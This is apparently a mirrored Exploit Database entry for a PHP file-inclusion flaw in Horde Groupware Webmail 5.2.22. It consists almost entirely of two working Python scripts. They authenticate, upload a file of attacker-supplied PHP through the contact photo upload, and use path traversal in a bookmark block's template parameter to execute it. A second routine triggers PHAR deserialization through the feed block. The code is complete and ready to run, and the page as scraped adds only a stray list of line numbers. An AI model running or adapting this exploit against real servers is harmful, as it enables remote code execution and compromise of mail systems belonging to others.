Horde Groupware Webmail Edition 5.2.22 – PHP File Inclusion

Exploit Database
109 阅读

作者： Andrea Cardaci

日期： 2020-03-11
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/48209/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

## exploit-inc-inclusion.py

#!/usr/bin/env python3

from horde import Horde

import subprocess

import sys

TEMP_DIR = '/tmp'

if len(sys.argv) < 5:

print('Usage: <base_url> <username> <password> <filename> <php_code>')

sys.exit(1)

base_url = sys.argv[1]

username = sys.argv[2]

password = sys.argv[3]

filename = sys.argv[4]

php_code = sys.argv[5]

# log into the web application

horde = Horde(base_url, username, password)

# upload (delete manually) and evaluate the .inc file

horde.upload_to_tmp('{}.inc'.format(filename), '<?php {} die();'.format(php_code))

horde.include_remote_inc_file('{}/{}'.format(TEMP_DIR, filename))

## exploit-inc-inclusion.py EOF

## horde.py

import re

import requests

class Horde():

def __init__(self, base_url, username, password):

self.base_url = base_url

self.username = username

self.password = password

self.session = requests.session()

self.token = None

self._login()

def _login(self):

url = '{}/login.php'.format(self.base_url)

data = {

'login_post': 1,

'horde_user': self.username,

'horde_pass': self.password

}

response = self.session.post(url, data=data)

token_match = re.search(r'"TOKEN":"([^"]+)"', response.text)

assert (

len(response.history) == 1 and

response.history[0].status_code == 302 and

response.history[0].headers['location'] == '/services/portal/' and

token_match

), 'Cannot log in'

self.token = token_match.group(1)

def upload_to_tmp(self, filename, data):

url = '{}/turba/add.php'.format(self.base_url)

files = {

'object[photo][img][file]': (None, filename),

'object[photo][new]': ('x', data)

}

response = self.session.post(url, files=files)

assert response.status_code == 200, 'Cannot upload the file to tmp'

def include_remote_inc_file(self, path):

# vulnerable block (alternatively 'trean:trean_Block_Mostclicked')

app = 'trean:trean_Block_Bookmarks'

# add one dummy bookmark (to be sure)

url = '{}/trean/add.php'.format(self.base_url)

data = {

'actionID': 'add_bookmark',

'url': 'x'

}

response = self.session.post(url, data=data)

assert response.status_code == 200, 'Cannot add the bookmark'

# add bookmark block

url = '{}/services/portal/edit.php'.format(self.base_url)

data = {

'token': self.token,

'row': 0,

'col': 0,

'action': 'save-resume',

'app': app,

}

response = self.session.post(url, data=data)

assert response.status_code == 200, 'Cannot add the bookmark block'

# edit bookmark block

url = '{}/services/portal/edit.php'.format(self.base_url)

data = {

'token': self.token,

'row': 0,

'col': 0,

'action': 'save',

'app': app,

'params[template]': '../../../../../../../../../../../' + path

}

response = self.session.post(url, data=data)

assert response.status_code == 200, 'Cannot edit the bookmark block'

# evaluate the remote file

url = '{}/services/portal/'.format(self.base_url)

response = self.session.get(url)

print(response.text)

# remove the bookmark block so to not break the page

url = '{}/services/portal/edit.php'.format(self.base_url)

data = {

# XXX token not needed here

'row': 0,

'col': 0,

'action': 'removeBlock'

}

response = self.session.post(url, data=data)

assert response.status_code == 200, 'Cannot reset the bookmark block'

def trigger_phar(self, path):

# vulnerable block (alternatively the same can be obtained by creating a

# bookmark with the PHAR path and clocking on it)

app = 'horde:horde_Block_Feed'

# add syndicated feed block

url = '{}/services/portal/edit.php'.format(self.base_url)

data = {

'token': self.token,

'row': 0,

'col': 0,

'action': 'save-resume',

'app': app,

}

response = self.session.post(url, data=data)

assert response.status_code == 200, 'Cannot add the syndicated feed block'

# edit syndicated feed block

url = '{}/services/portal/edit.php'.format(self.base_url)

data = {

'token': self.token,

'row': 0,

'col': 0,

'action': 'save',

'app': app,

'params[uri]': 'phar://{}'.format(path)

}

response = self.session.post(url, data=data)

assert response.status_code == 200, 'Cannot edit the syndicated feed block'

# load the PHAR archive

url = '{}/services/portal/'.format(self.base_url)

response = self.session.get(url)

# remove the syndicated feed block so to not break the page

url = '{}/services/portal/edit.php'.format(self.base_url)

data = {

# XXX token not needed here

'row': 0,

'col': 0,

'action': 'removeBlock'

}

response = self.session.post(url, data=data)

assert response.status_code == 200, 'Cannot reset the syndicated feed block'

## horde.py EOF